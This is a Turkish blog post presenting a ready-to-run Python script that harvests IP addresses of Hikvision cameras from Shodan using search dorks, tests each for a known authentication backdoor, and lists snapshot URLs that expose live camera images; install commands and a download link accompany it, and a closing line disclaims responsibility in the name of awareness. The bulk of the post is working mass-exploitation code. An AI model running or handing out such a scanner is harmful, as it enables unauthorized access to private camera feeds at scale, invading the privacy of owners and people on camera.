Shodan ve Python kullanarak Hikvision Backdoor Tarama

shodan ve python kullanarak hikvision backdoor tarama ve erişim
shodan ve python kullanarak hikvision backdoor tarama

Shodan’dan IP’lerin listesini alan Python dosyası, ardından Hikvision kameralarının yazılımlarında arka kapı olup olmadığını kontrol ediyor.

Elde edilen IP adreslerinden birisini deneyelim.

Kodu bilgisayarınızda çalıştırmak için :

python request modülü ve shodan modülünün yüklenmesi gerekmektedir.

python -m pip install requests

python -m pip install shodan

#Required libs: requests and shodan.
import requests
import shodan
#'''"Server: App-webs/" "Content-Length: 1862"'''
import os

# Configuration
API_KEY = "YOUR_SHODAN_API_KEY"

dorks=['''3.1.3.150324''','''Server: App-webs/''','''Content-Length: 1862''']
       
exploitable=[]
list_of_links=[]
exploit_check="/Security/users?auth=YWRtaW46MTEK"
get_snapshot="/onvif-http/snapshot?auth=YWRtaW46MTEK"

api = shodan.Shodan(API_KEY)

for dork in dorks:
        result = api.search(dork)

        for service in result['matches']:
                ipx=service['ip_str']
                portx=service['port']
                if portx == "80":
                        full=f"http://{ipx}"
                        list_of_links.append(full)
                elif portx == "443":
                        full=f"https://{ipx}"
                        list_of_links.append(full)
                else:
                        full=f"http://{ipx}:{portx}"
                        list_of_links.append(full)

        for link in list_of_links:
                try:
                        x=requests.get(f'{link}{exploit_check}',timeout=3)
                        if x.status_code == 200:
                                print(f"[+] Hit! {link}{get_snapshot}")
                                exploitable.append(f'{link}{get_snapshot}')
                except Exception:
                        print(f"[-] Timed out ({ipx})")
                        pass
for xddd in exploitable:
        print(xddd)

print("Done!")

Python’da yazılmış Hikvision backdoor scanner dosyasını indir.

Not : Çalışma farkındalık oluşturmak amacıyla hazırlanmıştır. Kullanılması ve kameralara erişilmesi gibi durumlardan Turk IoT ve yazar ekibi kesinlikle SORUMLU DEĞİLDİR !!!

İlk yorum yapan olun

Bir yanıt bırakın